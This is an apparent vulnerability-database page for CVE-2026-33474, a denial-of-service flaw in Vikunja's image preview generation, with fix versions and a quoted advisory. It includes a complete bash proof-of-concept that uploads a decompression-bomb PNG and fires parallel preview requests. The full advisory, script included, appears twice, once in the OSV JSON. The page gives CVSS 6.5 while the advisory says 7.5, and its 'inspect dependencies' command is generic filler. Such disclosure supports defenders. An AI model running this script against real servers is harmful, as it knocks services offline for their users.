CVE-2026-33474: Code.vikunja.io/api Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-wc83-79hj-hpmq
CVSS 6.5
CWE-400
Published
Advisory Summary

CVE-2026-33474 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Code.vikunja.io/api libraries in the Go ecosystem. The issue involves vikunja affected by dos via image preview generation. Remediation is available by upgrading affected packages to version 2.2.0.

CVE-2026-33474 at a Glance

CVE Identifier CVE-2026-33474
GHSA Identifier GHSA-wc83-79hj-hpmq
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Code.vikunja.io/api
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-33474

To remediate this vulnerability, upgrade all affected Code.vikunja.io/api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.vikunja.io/api fixed: 2.2.0
Upgrade code.vikunja.io/api to 2.2.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.vikunja.io/api

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33474, inspect your project dependencies for Code.vikunja.io/api:

inspect dependencies for code.vikunja.io/api

Analyze the terminal output to locate any version of Code.vikunja.io/api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Code.vikunja.io/api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary - Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. - Affected code: - Decoding without bounds: [task_attachment.go:GetPreview](../../tree/main/pkg/models/task_attachment.go#L219-L229) - Resizing path: [resizeImage](../../tree/main/pkg/models/task_attachment.go#L293-L304) - Endpoint invoking preview: [GetTaskAttachment](../../tree/main/pkg/routes/api/v1/task_attachment.go#L195-L203) - Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service. - CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) ## Preconditions - API running locally (`http://localhost:8080`). - Task attachments enabled: `task_attachments_enabled=true` in [Info](../../tree/main/pkg/routes/api/v1/info.go#L82-L160). - Any authenticated user with write access to a task. ## How It Works - Preview generation decodes the full image via `image.Decode` and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize. - The first preview per attachment and size performs the heavy work; later requests are served from cache [keyvalue.Remember](../../tree/main/pkg/models/task_attachment.go#L220-L244). ## Run The POC - Script: ```sh #!/usr/bin/env bash set -euo pipefail BASE_URL="${BASE_URL:-http://localhost:8080}" USERNAME="${USERNAME:-dosuser}" EMAIL="${EMAIL:-dosuser@example.com}" PASSWORD="${PASSWORD:-StrongPass123!}" PROJECT_TITLE="${PROJECT_TITLE:-poc-dos-preview}" TASK_TITLE="${TASK_TITLE:-DoS preview test}" OUT_DIR="${OUT_DIR:-/tmp/vikunja-poc-dos}" mkdir -p "$OUT_DIR" echo "[+] Checking instance info" curl -sS "$BASE_URL/api/v1/info" | tee "$OUT_DIR/info.json" >/dev/null if ! grep -q '"task_attachments_enabled":true' "$OUT_DIR/info.json"; then echo "[!] Task attachments disabled" exit 1 fi echo "[+] Registering user (may already exist)" curl -sS -X POST "$BASE_URL/api/v1/register" \ -H 'Content-Type: application/json' \ -d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \ | tee "$OUT_DIR/register.json" >/dev/null || true echo "[+] Logging in" curl -sS -X POST "$BASE_URL/api/v1/login" \ -H 'Content-Type: application/json' \ -d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \ | tee "$OUT_DIR/login.json" >/dev/null TOKEN="$(sed -n 's/.*"token"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$OUT_DIR/login.json")" if [ -z "$TOKEN" ]; then echo "[!] Failed to get token" exit 1 fi echo "[+] Creating project" curl -sS -X PUT "$BASE_URL/api/v1/projects" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"title":"'"$PROJECT_TITLE"'"}' \ | tee "$OUT_DIR/project.json" >/dev/null PROJECT_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/project.json")" if [ -z "$PROJECT_ID" ]; then echo "[!] Failed to get project id" exit 1 fi echo "[+] Creating task" curl -sS -X PUT "$BASE_URL/api/v1/projects/$PROJECT_ID/tasks" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"title":"'"$TASK_TITLE"'"}' \ | tee "$OUT_DIR/task.json" >/dev/null TASK_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/task.json")" if [ -z "$TASK_ID" ]; then echo "[!] Failed to get task id" exit 1 fi echo "[+] Generating 10000x10000 PNG payload" python3 - <<'PY' from PIL import Image img = Image.new('RGB', (10000,10000), color=(0,0,0)) img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True) PY file "$OUT_DIR/huge.png" || true ls -lh "$OUT_DIR/huge.png" || true echo "[+] Uploading attachment" curl -sS -X PUT "$BASE_URL/api/v1/tasks/$TASK_ID/attachments" \ -H "Authorization: Bearer $TOKEN" \ -F "files=@$OUT_DIR/huge.png" \ | tee "$OUT_DIR/attach.json" >/dev/null ATTACHMENT_ID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' "$OUT_DIR/attach.json")" if [ -z "$ATTACHMENT_ID" ]; then echo "[!] Failed to get attachment id" exit 1 fi echo "[+] Requesting preview (xl)" /usr/bin/time -l curl -sS -o "$OUT_DIR/preview_xl.png" \ "$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl" \ -H "Authorization: Bearer $TOKEN" 2> "$OUT_DIR/time_xl.txt" du -h "$OUT_DIR/preview_xl.png" || true file "$OUT_DIR/preview_xl.png" || true echo "[+] Timing and memory (from /usr/bin/time):" cat "$OUT_DIR/time_xl.txt" || true echo "[+] Parallel preview requests (cache warm) x10" seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{time_total}\n' -o /dev/null \ '$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl' \ -H 'Authorization: Bearer $TOKEN'" | tee "$OUT_DIR/parallel_times.txt" >/dev/null echo "[+] Done. Outputs in $OUT_DIR" ``` - Uses `curl` and `python3` (Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics. ### Steps 1. Ensure the API is running on `http://localhost:8080`. 2. Execute: ``` bash pocs/image-preview-dos/poc.sh ``` 3. Outputs of interest: - `/tmp/vikunja-poc-dos/time_xl.txt`: `/usr/bin/time -l` timing and memory for the preview request. - `/tmp/vikunja-poc-dos/parallel_times.txt`: 10 parallel preview times with cache warmed. - `/tmp/vikunja-poc-dos/preview_xl.png`: Generated 800×800 preview. ### Environment Overrides - BASE_URL: API base (default `http://localhost:8080`) - USERNAME, EMAIL, PASSWORD: credentials for the test user - PROJECT_TITLE, TASK_TITLE: names for test artifacts - OUT_DIR: output directory (default `/tmp/vikunja-poc-dos`) ## Expected Results - First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image. - Subsequent requests are faster due to caching. - Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API. ## Remediation - Enforce bounds prior to decode: - Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M). - Fail early by reading headers to extract dimensions before full decode. - Add per-user and per-attachment rate limiting for preview generation. - Pre-generate previews asynchronously with throttling and backpressure. - Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work. ## Notes - This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.

CVE-2026-33474 Affected Code.vikunja.io/api Versions

1 component(s)
Fixed Versions:
2.2.0
Product / Package Ecosystem Affected Versions Fixed Version
code.vikunja.io/api
Go
≥ 1.0.0-rc0
< 2.2.0
2.2.0

References

Frequently Asked Questions

What is CVE-2026-33474?
CVE-2026-33474 is a security vulnerability in Code.vikunja.io/api involving Vikunja Affected by DoS via Image Preview Generation under CWE-400: Uncontrolled Resource Consumption.
Which Code.vikunja.io/api versions are affected?
Affected versions include releases prior to 2.2.0 across affected packages: code.vikunja.io/api.
What version fixes CVE-2026-33474?
Upgrading to 2.2.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.vikunja.io/api affected?
Yes, code.vikunja.io/api is affected in releases prior to 2.2.0. Upgrade your dependency to 2.2.0 or later.
What is the CVSS score of CVE-2026-33474?
CVE-2026-33474 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-33474?
CVE-2026-33474 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Go dependencies for CVE-2026-33474?
Run the dependency tree command: 'inspect dependencies for code.vikunja.io/api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wc83-79hj-hpmq",
  "modified" : "2026-03-25T20:59:27Z",
  "published" : "2026-03-20T20:43:11Z",
  "aliases" : [ "CVE-2026-33474" ],
  "summary" : "Vikunja Affected by DoS via Image Preview Generation",
  "details" : "## Summary\n- Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images.\n- Affected code:\n  - Decoding without bounds: [task_attachment.go:GetPreview](../../tree/main/pkg/models/task_attachment.go#L219-L229)\n  - Resizing path: [resizeImage](../../tree/main/pkg/models/task_attachment.go#L293-L304)\n  - Endpoint invoking preview: [GetTaskAttachment](../../tree/main/pkg/routes/api/v1/task_attachment.go#L195-L203)\n- Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service.\n- CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\n## Preconditions\n- API running locally (`http://localhost:8080`).\n- Task attachments enabled: `task_attachments_enabled=true` in [Info](../../tree/main/pkg/routes/api/v1/info.go#L82-L160).\n- Any authenticated user with write access to a task.\n\n## How It Works\n- Preview generation decodes the full image via `image.Decode` and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize.\n- The first preview per attachment and size performs the heavy work; later requests are served from cache [keyvalue.Remember](../../tree/main/pkg/models/task_attachment.go#L220-L244).\n\n## Run The POC\n- Script: \n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nBASE_URL=\"${BASE_URL:-http://localhost:8080}\"\nUSERNAME=\"${USERNAME:-dosuser}\"\nEMAIL=\"${EMAIL:-dosuser@example.com}\"\nPASSWORD=\"${PASSWORD:-StrongPass123!}\"\nPROJECT_TITLE=\"${PROJECT_TITLE:-poc-dos-preview}\"\nTASK_TITLE=\"${TASK_TITLE:-DoS preview test}\"\nOUT_DIR=\"${OUT_DIR:-/tmp/vikunja-poc-dos}\"\n\nmkdir -p \"$OUT_DIR\"\n\necho \"[+] Checking instance info\"\ncurl -sS \"$BASE_URL/api/v1/info\" | tee \"$OUT_DIR/info.json\" >/dev/null\nif ! grep -q '\"task_attachments_enabled\":true' \"$OUT_DIR/info.json\"; then\n  echo \"[!] Task attachments disabled\"\n  exit 1\nfi\n\necho \"[+] Registering user (may already exist)\"\ncurl -sS -X POST \"$BASE_URL/api/v1/register\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"'\"$USERNAME\"'\",\"email\":\"'\"$EMAIL\"'\",\"password\":\"'\"$PASSWORD\"'\",\"language\":\"en\"}' \\\n  | tee \"$OUT_DIR/register.json\" >/dev/null || true\n\necho \"[+] Logging in\"\ncurl -sS -X POST \"$BASE_URL/api/v1/login\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"'\"$USERNAME\"'\",\"password\":\"'\"$PASSWORD\"'\"}' \\\n  | tee \"$OUT_DIR/login.json\" >/dev/null\nTOKEN=\"$(sed -n 's/.*\"token\"[[:space:]]*:[[:space:]]*\"\\([^\"]*\\)\".*/\\1/p' \"$OUT_DIR/login.json\")\"\nif [ -z \"$TOKEN\" ]; then\n  echo \"[!] Failed to get token\"\n  exit 1\nfi\n\necho \"[+] Creating project\"\ncurl -sS -X PUT \"$BASE_URL/api/v1/projects\" \\\n  -H 'Content-Type: application/json' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"title\":\"'\"$PROJECT_TITLE\"'\"}' \\\n  | tee \"$OUT_DIR/project.json\" >/dev/null\nPROJECT_ID=\"$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))[\"id\"])' \"$OUT_DIR/project.json\")\"\nif [ -z \"$PROJECT_ID\" ]; then\n  echo \"[!] Failed to get project id\"\n  exit 1\nfi\n\necho \"[+] Creating task\"\ncurl -sS -X PUT \"$BASE_URL/api/v1/projects/$PROJECT_ID/tasks\" \\\n  -H 'Content-Type: application/json' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"title\":\"'\"$TASK_TITLE\"'\"}' \\\n  | tee \"$OUT_DIR/task.json\" >/dev/null\nTASK_ID=\"$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))[\"id\"])' \"$OUT_DIR/task.json\")\"\nif [ -z \"$TASK_ID\" ]; then\n  echo \"[!] Failed to get task id\"\n  exit 1\nfi\n\necho \"[+] Generating 10000x10000 PNG payload\"\npython3 - <<'PY'\nfrom PIL import Image\nimg = Image.new('RGB', (10000,10000), color=(0,0,0))\nimg.save('/tmp/vikunja-poc-dos/huge.png', optimize=True)\nPY\nfile \"$OUT_DIR/huge.png\" || true\nls -lh \"$OUT_DIR/huge.png\" || true\n\necho \"[+] Uploading attachment\"\ncurl -sS -X PUT \"$BASE_URL/api/v1/tasks/$TASK_ID/attachments\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -F \"files=@$OUT_DIR/huge.png\" \\\n  | tee \"$OUT_DIR/attach.json\" >/dev/null\nATTACHMENT_ID=\"$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d[\"success\"][0][\"id\"])' \"$OUT_DIR/attach.json\")\"\nif [ -z \"$ATTACHMENT_ID\" ]; then\n  echo \"[!] Failed to get attachment id\"\n  exit 1\nfi\n\necho \"[+] Requesting preview (xl)\"\n/usr/bin/time -l curl -sS -o \"$OUT_DIR/preview_xl.png\" \\\n  \"$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl\" \\\n  -H \"Authorization: Bearer $TOKEN\" 2> \"$OUT_DIR/time_xl.txt\"\ndu -h \"$OUT_DIR/preview_xl.png\" || true\nfile \"$OUT_DIR/preview_xl.png\" || true\necho \"[+] Timing and memory (from /usr/bin/time):\"\ncat \"$OUT_DIR/time_xl.txt\" || true\n\necho \"[+] Parallel preview requests (cache warm) x10\"\nseq 1 10 | xargs -P 5 -I{} sh -c \"curl -s -w '%{time_total}\\n' -o /dev/null \\\n  '$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl' \\\n  -H 'Authorization: Bearer $TOKEN'\" | tee \"$OUT_DIR/parallel_times.txt\" >/dev/null\necho \"[+] Done. Outputs in $OUT_DIR\"\n\n```\n- Uses `curl` and `python3` (Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.\n\n### Steps\n1. Ensure the API is running on `http://localhost:8080`.\n2. Execute:\n   ```\n   bash pocs/image-preview-dos/poc.sh\n   ```\n3. Outputs of interest:\n   - `/tmp/vikunja-poc-dos/time_xl.txt`: `/usr/bin/time -l` timing and memory for the preview request.\n   - `/tmp/vikunja-poc-dos/parallel_times.txt`: 10 parallel preview times with cache warmed.\n   - `/tmp/vikunja-poc-dos/preview_xl.png`: Generated 800×800 preview.\n\n### Environment Overrides\n- BASE_URL: API base (default `http://localhost:8080`)\n- USERNAME, EMAIL, PASSWORD: credentials for the test user\n- PROJECT_TITLE, TASK_TITLE: names for test artifacts\n- OUT_DIR: output directory (default `/tmp/vikunja-poc-dos`)\n\n## Expected Results\n- First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image.\n- Subsequent requests are faster due to caching.\n- Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.\n\n## Remediation\n- Enforce bounds prior to decode:\n  - Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M).\n  - Fail early by reading headers to extract dimensions before full decode.\n- Add per-user and per-attachment rate limiting for preview generation.\n- Pre-generate previews asynchronously with throttling and backpressure.\n- Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.\n\n## Notes\n- This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0-rc0"
      }, {
        "fixed" : "2.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wc83-79hj-hpmq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33474"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  }, {
    "type" : "WEB",
    "url" : "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:43:11Z",
    "nvd_published_at" : "2026-03-24T16:16:33Z"
  }
}